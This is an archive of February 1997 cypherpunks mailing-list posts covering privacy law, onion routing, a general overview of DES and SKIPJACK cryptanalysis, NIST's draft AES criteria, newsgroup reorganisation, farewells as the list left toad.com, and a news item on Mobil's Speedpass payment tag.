(1791) The right of the people to be secure in their persons, houses, papers, 
and effects, against unreasonable searches and seizures, shall not be violated,
and no warrants shall issue, but upon probable cause, supported by oath or 
affirmation, and particularly describing the place to be searched, and the 
persons or things to be seized.

	Seems (to me, and IANAL) indicate that there is (at least in the minds
of the writers) a distinction between _public_ information which is fair game,
and public information, which is only fair game if there is enough public
information to justify crossing that line. 

> Constitutional issues are not easily discussed in short messages like this.
> Suffice it to say the issue of whether a "right to privacy" exists has been
> long discussed, most recently by Bork, Posner, and others (I skimmed the
> latest Posner book a while back, and liked his style).

	There is a big question in my mind whether things are so complicated 
that we need lawyers, or they are so complicated because we have lawyers. 

	It seems to me that the constitution is written rather simply, at least
prior to the 14th amendment. Congress Shall Make No Law... where is the 
confusion? 

	It is the fact that some people "know best" what is good for others,
and wish to enforce this "knowlege" upon the rest of us. 

	God save me from your over zelous followers.
> 
> The issue hit when abortion advocates argued that a "woman's right to
> privacy" allowed abortions. However, none of the enumerated rights made
> this obvious. Bork has opined that no right to privacy can be inferred from
> the Constitution.
> 
> (And I always thought the "woman's right to privacy" argument for abortion
> was flaky. Accepting such an argument, wouldn't infanticide be equally
> protected by a woman's right to privacy?)

	Or a man's. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 19 Feb 1997 06:27:59 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: alt.cypherpunks.ebonics
Message-ID: <199702191427.GAA24974@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Bell wrote:
> At 11:16 AM 2/18/97 -0500, Alec wrote:
> >With the exceptions of AP (oh so clearly way off-topic),
> Quite to the contrary, AP is NOT "oh so clearly way off-topic."   First AP, 
> as I've sketched it uses many of the 
> encryption/digital-signature/verification techniques which are often 
> discussed here and are essentially universally agreed as being on-topic.  

	Uhhh.... Jim?

	I think that Alec and friend were tweaking Igor. Think Sarcasm.

	Then again I could be wrong. I was once. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 06:26:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <199702191426.GAA24944@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 8:29 pm -0500 on 2/18/97, ! Drive wrote:


> A proposal and prototype of a different anonymity mechanism can be found at:
>   http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

And, of course, you can hear about the next generation from the same bunch,
on Monday morning at FC97:

    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

:-).

<http://www.offshore.com.ai/fc97/>


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 20 Feb 1997 06:56:24 -0800 (PST)
To: Scott Auge <scotta@sauge.com>
Subject: Re: Cryptanalysis
Message-ID: <199702201456.GAA14484@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:21 AM 2/15/97 -0500, you wrote:
>Was wondering if anyone could help me with short explainations on the
>cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
>might get a better idea of what i'm trying to accomplish.
>
>Vague explanations are OK.  Dont want long drawn out explainations on
>the implementation of an attack (source code, proofs, statistical
>analysis and the like), just a short explaination of the attack.

Cryptanalysis of DES is a 25-year ongoing academic exercise, with
lots and lots of results.  It's easy to attack it in 2**55 tries,
because of symmetry, but that's a very large number :-)
Differential cryptanalysis, discovered by Biham and Shamir, 
shows that the NSA probably did help the design process when
working with IBM to turn IBM's 128-bit-key Lucifer system into DES,
and certainly didn't weaken it.  Linear cryptanalysis, discovered
more recently, shaves some more bits off the strength if you have
an extremely large amount of known plaintext.  

Brute-force attacks on DES (just try lots of keys until you win) 
used to be viewed as almost infeasible, but about 5-6 years ago there 
were a couple of designs for cracking machines that could do a 1-day crack
for $30-50M, and then Wiener's design for a $1M, 3.5-hour cracking machine
about 5 years ago.  Gate arrays have gotten denser, faster, and cheaper 
since then, and if you want to crack a _lot_ of keys (e.g. you're the NSA)
you can probably afford to burn ASICs to get even denser and faster.
The slow part of the attack _had_ been key scheduling, but recent work
by Peter Trei and others shows that you can do key scheduling very
efficiently for the brute-force keysearch problem by picking keys
in Gray Code order (since a one-bit change in key causes a simple
change in key-schedule - it's totally useless for normal encryption/
decryption, but it's a big win for brute-force cracks.)  
There may be a distributed Internet crack using that approach, 
though DES is still very inefficient on general-purpose computers and 
works better on bit-twiddliing chips.

SKIPJACK is a totally different game - the NSA keeps the algorithm secret,
and the only semi-outsiders who've seen it were a group of 5 people
including Dorothy Denning and Dave Maher who were allowed to do a study
when the NSA were trying to foist Clipper onto us.  They concluded that
SKIPJACK was reasonably strong (in their interim report), which gave
them good propaganda points, and never did the "final report" that
was supposed to address the entire Clipper chip (where most of the
technical weaknesses were) and the key-handling charade around it.
I don't remember if Matt Blaze's spoofing attack on the Clipper chip
came before or after their interim report - the checksums were too short
so you could impersonate another chip under reasonably wide conditions.
According to the data sheets for the Mykotronx Clipper Chip, SKIPJACK
is a Feistel-structured cypher with N rounds (I think it was 16 or 32.)
80 bits is enough that if anybody can discover the algorithm, 
it's too long to brute force today but starts looking pretty vulnerable
in 10-20 years, and of course the Feds would have your keys today,
so they can wiretap you, without needing legal authorization,
and you can probably bribe a Fed faster than you can brute-force the chip.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 19 Feb 1997 08:57:51 -0800 (PST)
To: Mullen Patrick <Patrick.Mullen@GSC.GTE.Com>
Subject: Re: alt.cypherpunks.*, cypherpunks@*.*
Message-ID: <199702191657.IAA26706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mullen, Patrick wrote:
> alt.cypherpunks.ebonics :-) Sorry, couldn't resist!
> 
> Did I miss any?  Name-mangle?

alt.cypherpunks.purebred-sovoks

> I also have listed the following alternate list hosts
> 
> cypherpunks@algebra.com
> cypherpunks@cyberpass.net
> cypherpunks@ssz.com
> 
> If anyone has a more complete list of hosts, I'd be happy
> for additions to the list.

Dave Hayes was going to create one:

Dave Hayes wrote:
Dave> To: freedom-knights@jetcafe.org, cypherpunks@toad.com
Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" 
Dave> Date: Fri, 14 Feb 1997 12:29:41 -0800
Dave> Sender: owner-cypherpunks@toad.com
Dave> Precedence: bulk
Dave> 
Dave> Ok. I'll "put up". 
Dave> 
Dave> If the cypherpunks will have me, -I'll- run the cypherpunks
Dave> list. Those that know me know that I will *not* censor, moderate, or
Dave> otherwise alter the content (other than the stuff majordomo does with
Dave> "resend") of any messages to the list.

and then wrote:

Dave> To: freedom-knights@jetcafe.org
Dave> Cc: dthorn@gte.net (Dale Thorn), ichudov@algebra.com, cypherpunks@toad.com
Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" 
Dave> Date: Sun, 16 Feb 1997 13:13:40 -0800
Dave> 
Dave> Kent Crispin writes:
Dave> > Dave is offering a single mailing list, which, while I am sure Dave is
Dave> > a great person, still represents a single point of control and a
Dave> > single point of failure.  A distributed mailing list has a potential
Dave> > for being much more robust, and for supporting a wide range of
Dave> > viewpoints.  
Dave> 
Dave> I can also offer my participation in the distributed mailing list, if
Dave> that is what it takes to get cypherpunks free of control interests again.

I am not sure if it already exists...

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Feb 1997 09:26:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks.*, cypherpunks@*.*
Message-ID: <199702191726.JAA27116@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 9:02 AM -0500 2/19/97, Mullen, Patrick wrote:
>I just got my news admin to add alt.cypherpunks.  Unfortunately, I can't
>remember the names of the subgroups (which weren't added), and I
>deleted the mailings which listed them.  
>
>If I remember correctly, they were along the lines of
>
>alt.cypherpunks.technical
>alt.cypherpunks.social
>alt.cypherpunks.announce
>alt.cypherpunks.ebonics :-) Sorry, couldn't resist!

Patrick reminds us of why a simple name like "alt.cypherpunks" is
preferable to an extensive hierarchy: "I can't remember the names of the
subgroups."

It was a mistake, I believe, to create the various subgroups, and I hope
they fail to propagate.

I'd rather use more capable newsreading tools to scan _one_ group and
follow interesting threads in it than try to remember what got posted
where. And I especially don't want to see the predictable carping about how
some topic "belongs" in one of the other groups!

And many will simply cross-post their stuff to more than one of the groups,
trying to guess which are most relevant, which are being read by enough
people, etc.

Even at a hundred messages a day, a single group is easily managed. And
having four of them will not cut the traffic in the main group
significantly.

--Tim May, who plans to only post to the main group.

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mullen, Patrick <Patrick.Mullen@GSC.GTE.Com>
Date: Wed, 19 Feb 1997 06:26:24 -0800 (PST)
To: "'Cypherpunks'" <cypherpunks@toad.com>
Subject: alt.cypherpunks.*, cypherpunks@*.*
Message-ID: <199702191426.GAA24938@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I just got my news admin to add alt.cypherpunks.  Unfortunately, I can't
remember the names of the subgroups (which weren't added), and I
deleted the mailings which listed them.  

If I remember correctly, they were along the lines of

alt.cypherpunks.technical
alt.cypherpunks.social
alt.cypherpunks.announce
alt.cypherpunks.ebonics :-) Sorry, couldn't resist!

Did I miss any?  Name-mangle?

I also have listed the following alternate list hosts

cypherpunks@algebra.com
cypherpunks@cyberpass.net
cypherpunks@ssz.com

If anyone has a more complete list of hosts, I'd be happy
for additions to the list.

Thanks!



~ Patrick






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 19 Feb 1997 08:57:38 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <199702191657.IAA26698@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

azur@netcom.com (Steve Schear) writes:
> Has anyone seen discussions on how these protection mechanisms can be
> circumvented?

Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to
cripple any copies it makes. Of course, it's all software, so if some
EVIL person were to write a driver that did not honor the "don't copy
me" header, society would just come crashing down around us.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwsT98kz/YzIV3P5AQFzRgMA1FLUxHHCv509ucqHbysLFQZCGplZbfXj
Z3J9FAicOwmMp/6G1kCATc7193ZxbgpHfhNQ7Z+SIEPaxusL5MjkrWuCvoB9Kh4s
JTyspKmgBVJ+/RnIro+QeRHqFH8atowh
=7SI9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Wed, 19 Feb 1997 09:26:51 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Belated thank you's
Message-ID: <199702191726.JAA27104@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



It seems somewhat trite to say thank you for the service John provided now that
it is going away, when while it was here it was taken for granted. Still, I will
say thank you. Perhaps in this respect it is like good health, which while it is
ours is not given much though, but once lost, becomes the whole of our thoughts.


The loss of John's involvement is a real loss. At the same time, I would like to
think that virtual communities such as this one are robust enough to survive the
type of strife that we have undergone. People being what they are, the list
would have had a hard time staying static without some strong guiding focus.
Given the anarchic leanings of many people on this list, John's actions have
done much to test the practicality of the principles that have been spoken about
here. They may also show how much work it is to follow these same principles.

Still, I wonder how John will feel about the cypherpunks list as it moves beyond
him. Will it grow and become widespread? Or, will it slowly die from lack of
interest or time? I think he might not like either answer.

A la prochain fois,
James

The advancement and perfection of mathematics are intimately connected with the
prosperity of the State. - Napoleon I






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mullen, Patrick <Patrick.Mullen@GSC.GTE.Com>
Date: Wed, 19 Feb 1997 09:27:14 -0800 (PST)
To: "'Cypherpunks'" <cryptography@c2.net>
Subject: FW: Rules for The Great DES Replacement Contest
Message-ID: <199702191727.JAA27124@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>---------- Forwarded message ----------
>Date: Wed, 19 Feb 1997 09:24:38 -0500 (EST)
>From: Christof Paar <christof@ece.WPI.EDU>
>To: christof@ece.WPI.EDU
>Subject: (fwd) Rules for The Great DES Replacement Contest
>Newsgroups: sci.crypt
>
>
>Rules for The Great DES Replacement Contest
>
>On 1997 Jan 02, the National Institute of Standards and Technology
>of The Department of Commerce announced the start of a process to
>approve an "Advanced Encryption Standard."  (See the Federal
>Register Vol. 62, No. 1, pp. 93-94; for example, by going to
>
>    http://www.lib.auburn.edu/gpo/index.html
>
>and searching the Federal Register for "Advanced Encryption
>Standard.")
>
>
>The first part of the process seems to be requesting comments
>on the cipher requirements and submission guidelines as follows:
>
>"Proposed Draft Minimum Acceptability Requirements and Evaluation
>Criteria
>
>    "The draft minimum acceptability requirements and evaluation
>criteria are:
>    A.1  AES shall be publicly defined.
>    A.2  AES shall be a symmetric block cipher.
>    A.3  AES shall be designed so that the key length may be increased
>as needed.
>    A.4  AES shall be implementable in both hardware and software.
>    A.5  AES shall either be (a) freely available or (b) available
>under terms consistent with the American National Standards Institute
>(ANSI) patent policy.
>    A.6  Algorithms which meet the above requirements will be judged
>based on the following factors:
>    (a) Security (i.e., the effort required to cryptanalyze),
>    (b) Computational efficiency,
>    (c) Memory requirements,
>    (d) Hardware and software suitability,
>    (e) Simplicity,
>    (f) Flexibility, and
>    (g) Licensing requirements."
>
>
>"Proposed Draft Submission Requirements"
>
>    "In order to provide for an orderly, fair, and timely evaluation of
>candidate algorithm proposals, submission requirements will specify the
>procedures and supporting documentation necessary to submit a candidate
>algorithm.
>
>    B.1  A complete written specification of the algorithm including
>all necessary mathematical equations, tables, and parameters needed to
>implement the algorithm.
>    B.2  Software implementation and source code, in ANSI C code, which
>will compile on a personal computer. This code will be used to compare
>software performance and memory requirements with respect to other
>algorithms.
>    B.3  Statement of estimated computational efficiency in hardware
>and software.
>    B.4  Encryption example mapping a specified plaintext value into
>ciphertext.
>    B.5  Statement of licensing requirements and patents which may be
>infringed by implementations of this algorithm.
>    B.6  An analysis of the algorithm with respect to known attacks.
>    B.7  Statement of advantages and limitations of the submitted
>algorithm."
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Juriaan Massenza <juriaan_massenza@ctp.com>
Date: Wed, 19 Feb 1997 06:28:02 -0800 (PST)
To: "'Bill Clinton'" <president@whitehouse.gov>
Subject: RE: We're in Anguilla! Comon down!!!
Message-ID: <199702191428.GAA24975@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ROFL. Rock on Bill! ;-)

>-----Original Message-----
>From:	Bill Clinton [SMTP:president@whitehouse.gov]
>Sent:	Sunday, February 16, 1997 4:57 PM
>To:	Those cypher-rebels
>Subject:	We're in Anguilla! Comon down!!!
>
>My fellow cypherpunks,
>
>	I wanted to let you all know, we are having a great time, building
>a router to the 21st Century, down here in sunny Anguilla.   Al and I will
>be wiring Anguilla's great high school for the internet.  Afterwards, we'll
>meet with some longtime supporters of the democratic party for a beer.
>
>	Spaces at the conference are still available, I didn't let those
>folks at American strike, so you have no excuses to be anywhere else next
>week.  
>
>Willy
>Citizen Unit 429-92-9947
> 
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bert-Jaap Koops <E.J.Koops@kub.nl>
Date: Wed, 19 Feb 1997 06:26:45 -0800 (PST)
To: cryptography@c2.net
Subject: Crypto Law Survey updated
Message-ID: <199702191426.GAA24958@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have just updated my survey of existing and envisaged cryptography
laws and regulations. 
See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm

This update includes:
- New lay-out. Digital signatures replaced to a separate overview.
- New entries on Finland (export), Hong Kong (import, export), New
Zealand (export), Poland (import) 
-Update on Australia (government encryption of classified data), Finland 
(no key-escrow), France (TTP law published), Japan (general position, 
wiretap law), Netherlands (extend decryption command), OECD (Group 
of Expert okays guidelines), Scandinavia (secure email system), 
Switzerland (telecom encryption, export), US (Karn appeal, 
annual figures report)
-Corrections or clarifications on Australia (export, public domain software), 
Belgium (export), Germany (export), US (Bernstein, NRC report)
-URLs changed in France (TTP law), US (Bernstein)

Bert-Jaap





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 19 Feb 1997 15:11:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD on Dirty Money
Message-ID: <199702192311.PAA01538@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Last week's FT-reported OECD money laundering paper,
"FATF-VIII Money Laundering Typologies Exercise
Public Report," 5 February 1997 is at:

   http://jya.com/fatf8.htm  (Text 94K; 4 images 78K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Landon Dyer <landon_dyer@wayfarer.com>
Date: Wed, 19 Feb 1997 15:29:15 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <199702192329.PAA01842@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:53 AM 2/19/97 -0500, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>azur@netcom.com (Steve Schear) writes:
>> Has anyone seen discussions on how these protection mechanisms can be
>> circumvented?
>
>Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to
>cripple any copies it makes. Of course, it's all software, so if some
>EVIL person were to write a driver that did not honor the "don't copy
>me" header ...

  i can confirm this.  i recently talked to an employee of a firm [who
i won't name] that was looking for some kind of shrouding scheme to protect
their copy-protection enforcement code, under W95.  [he knows the effort
is ultimately doomed.  he *is* a user of SoftICE, after all... :-) ]

  quotable quotes:

  "we know someone's going to have their scheme cracked.  all we care
   about is that ours isn't the first."

  "i can't tell you the [encryption] algorithm, because that would let
   you break it.  yes, the security is in the algorithm."


  where does hollywood get its crypto?  mattel?


-landon [back to lurk mode...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 19 Feb 1997 18:14:15 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
Message-ID: <199702200214.SAA04018@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:

>We also have to thank Tim May for his um, ideological, presence on this
>list from since before it existed, :-), and, or course, for his current
>"leadership", both moral and political. (Of course, I can say all the next
>few wierd and gushy things about him without fear of refutation on his
>part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who

No, Bob, I actually took you out of my filter file (Eudora's killfile) a
while back.

It is true that I don't like your style, your writing style, that is. Some
say I am overly sensitive to style issues...probably so. I find most modern
cyber-journalism unreadable, with the hipper-than-thou "street cred" lingo
and the obfuscatory purple prose.

I find reading the straight-shooting words of even my ideological opponents
(or opponents in some areas) far easier than reading the neo-journalistic
hype some of my ideological fellow-travellers use.

Nothing personal.

>was our compass. It was Tim who came down from the mountain and stopped us
>from worshiping the fatted calf of censorship, and who is now leading us
>into the promised land of unfettered discourse, both on usenet and on the
>new cypherpunk server network. Since Tim paper-trained most of us here
>(myself included, though some may debate how well he succeeded :-)), that
>is, how to behave on this list, and, most important, how to imagine what a
>world of strong crytography on ubiquitous networks would look like, I now
>find his "leading" us out onto the net, and away from Sinai, most
>symmetrical indeed. :-).

Well, I guess I have to say "Indeed." (Though I don't claim to be leading
anyone, especially not off the list. After several weeks of saying nothing,
I outlined my reasons for disliking the censorship move...reasons that had
also been made by many other folks. Anyway, Adam Back's summary of events
is pretty close to the mark.)

The vision of where the world is headed, noted by Bob, has been clear to
many of us for many years. When I first read about public key systems,
circa 1977, I got an inkling. When I read Chaum's paper on untraceable
digital cash, circa 1986, things got clearer. And when I evaluated the
business plan of Phil Salin for his company, American Information Exchange,
in 1987, everything fell into place. My role with him was to suggest how
cryptographic protocols, including digital cash, would open up information
markets. His company eventually got some funding, but failed. This company
was several years too early, as it presaged many aspects of the Web (and,
not coincidentally, its "sister company" was Xanadu, which even more
clearly presaged the Web--indeed, Ted Nelson was the godfather of the Web.

Anyway, by mid-1988, I wrote and distributed "the Crypto Anarchist
Manifesto," which, to my surprise and satisfaction, basically anticipated
all of the things now being done on Cypherpunks and elsewhere (anonymous
remailers, message pools, steganography, BlackNet types of markets,
ubiquitous crypto, etc.). The missing piece, digital cash, is a hard nut to
crack...sure, it exists (Mark Twain Bank, DigiCash, etc.), but it's hard to
get robust versions deployed and used. (Getting PGP integrated into mailers
is stil bogged down, for reasons I have to believe have to do with
pressures from somewhere, else why would e-mail packages not make PGP
support painless?)

I agree with Bob and others that the Cypherpunks are in no danger of dying
out. Things are just about to get a lot more interesting.

--Tim May





Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 15:43:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: "cypherpunks is dead..."
Message-ID: <199702192343.PAA02063@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



"...long live cypherpunks?"

"So long, and thanks for all the fish?"


But, seriously, folks...

Lucky Green echoed many of my own thoughts when he talked about all the
things being on this list has meant to him. Like Lucky, there is a
rediculously huge list of things that this list has taught me over the
almost three (wow..) years or so that I've been here.

Thanks to all of you here, I have had nothing short of a Copernican
transformation in my perception of the universe, and it completely changed
what I wanted to do with the rest of my life. From the very first time I
started reading this list and applying what I learned here to what I
already knew, right then, for the first time in a *very* long time, I knew
*exactly* how some very important pieces of the world actually worked, and
more important, why they were going to change.  I now *know* where the
world is going to go. Maybe not when, of course, but certainly where and
how. :-) (Old stock picker's joke: "I can tell you what. I can tell you
when. I can't tell you both. If I did, I wouldn't tell *you*.")


Anyway, I've learned all these things from many cypherpunks, some still
here, and a lot who've left. I expect that, as we move into the next phase
of this "group", we'll continue to teach ourselves much more about the
world and strong cryptography's effect on it. But, nothing will compare to
the feeling we'll get when we remember the time we've spent here at Toad
Hall. We have John Gilmore to thank for the "lodgings", of course, and,
certainly, for his encouragement and support.  And, obviously, his
tolerance, which finally sagged and broke under the weight of both his
expectations and those of our own.

We also have to thank Tim May for his um, ideological, presence on this
list from since before it existed, :-), and, or course, for his current
"leadership", both moral and political. (Of course, I can say all the next
few wierd and gushy things about him without fear of refutation on his
part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who
was our compass. It was Tim who came down from the mountain and stopped us
from worshiping the fatted calf of censorship, and who is now leading us
into the promised land of unfettered discourse, both on usenet and on the
new cypherpunk server network. Since Tim paper-trained most of us here
(myself included, though some may debate how well he succeeded :-)), that
is, how to behave on this list, and, most important, how to imagine what a
world of strong crytography on ubiquitous networks would look like, I now
find his "leading" us out onto the net, and away from Sinai, most
symmetrical indeed. :-).


And so, in this last 24 hours or so on toad.com, I want to thank *both* Tim
and John. But, also, I personally want to thank the "money-punks". People
like Eric Hughes, and Perry Metzger, and Ian Goldberg, and Hal Finney, and
Lucky Green, and Duncan Frissell, and Black Unicorn, and many, many other
people, who have helped me work through, on this list, or in private
e-mail, or, occasionally, in person, all of the stuff they know, and the
stuff I have figured out myself. All about e$, about digital bearer
certificate markets, about microintermediation. All the things which
completely occupy almost all my waking thoughts these days.


Because of this list's effect on my life, I have been motivated to start
the Digital Commerce Society of Boston, to evangelize financial
cryptography to any audience who would listen to me, to create a web site
dedicated to e$, to create a group of e$ lists with some 300 total
subscribers, to work with Vinnie Moscaritolo to create both the Mac-Crypto
lists and conferences, to work with Vince Cate and Ray Hirschfeld to create
the world's first peer-reviewed conference on financial cryptography, and
with Vince and Ian Goldberg to create the world's first intensive financial
cryptography bootcamp (which is going on as I write this). To create, with
Vinnie, and Rachel Wilmer, and Anthony Templer, and Bob Antia, and Rodney
Thayer, the next generation of the e$ website and mailing lists.

Next week, I go to FC97 in Anguilla because of the things I've learned on
this list. In the middle of March, I go to Cupertino to help Vinnie with
Mac-Crypto 2.0, because of the things I've learned on this list. I've been
invited to speak all over the world (and New Hampshire, too :-)) to talk
about this stuff. I get quoted in the newspapers. I write magazine op-ed
pieces. It has even earned me a buck or two. :-).

In short, I owe everything I do of any consequence these days to my
participation on this list, and, for that, I'm profoundly grateful to all
of you for the privelege of being here: to listen, to learn, and,
occasionally, to pay back all the stuff I've learned with a thing or two
that I've worked out myself.


Like that creosote bush I talked about before, cypherpunks is not going to
die just because the address "cypherpunks@toad.com" ceases to exist. There
are already 3rd-order cypherpunks lists out there. 3rd generation copies of
the same "memetic" material. cypherpunks will *never* die, short of a
cybernetic Chixalub event of some kind, and, frankly, even then. The
internet sees censorship as damage and routes around it.


So. In a very real sense, today on cypherpunks is like any other day in the
life of a creosote bush. It's a big desert, folks. We're the only ones who
know how to live out here. The whole damn desert, as far as the eye can
see, is ours to move into.

All we have to do is keep filling in the empty spots...


Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 15:47:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mobil adopts no-physical-connection electronic payment token
Message-ID: <199702192347.PAA02130@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 19 Feb 1997 12:01:14 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Mobil adopts no-physical-connection electronic payment token
X-orig-from: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>
X-e$pam-source: bounce-dcsb@ai.mit.edu

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Wed, 19 Feb 1997 09:02:14 -0500
 From: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>
 To: dcsb@ai.mit.edu
 Subject: Mobil adopts no-physical-connection electronic payment token
 Sender: bounce-dcsb@ai.mit.edu
 Precedence: bulk
 Reply-To: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>



 FYI, from today's WSJ:

  ------------------------------ snip! ------------------------------

     Mobil Aims to Turn Gas Pumps
     Into Automatic-Payment Sites

     By PETER FRITSCH
     Staff Reporter of THE WALL STREET JOURNAL

     Mobil Corp. hopes to make life in the fast lane a little bit faster.

     The oil company will introduce Wednesday a miniature
     electronic-payment device that busy motorists can simply wave at
     a gasoline pump to fill 'er up.

     The tiny electronic tag -- called a Speedpass -- clips onto a
     driver's key ring. Mobil is betting the technology will catch on with
     drivers tired of fumbling for cash or waiting for a pump to authorize a
     credit-card purchase.

     Whether drivers are in such a hurry that they will be interested is
     an open question. "My key chain already looks like a janitor's,"
     says Carol Coale, a Houston securities analyst.

     Mobil, which tested the Speedpass over the past six months with
     10,000 consumers in St. Louis, says the added convenience can
     save the motorist valuable time.

     Mobil's technology, developed in partnership with Texas
     Instruments Inc. and Dresser Industries Inc., is similar to that used
     by drivers at bridge and highway toll booths. Once a driver waves
     the tag at the pump, the pump instantly contacts Mobil's credit
     department and charges a credit card preselected by the customer.

     The marketing effort challenges the conventional wisdom of
     gasoline retailing. Most drivers say location is more important
     when the gasoline gauge reads "empty" than brand name or price.
     Mobil's thinking is that the gee-whiz factor of owning the
     Speedpass, combined with the convenience, will persuade people to
     go an extra mile to buy from one of Mobil's 7,700 branded stations.

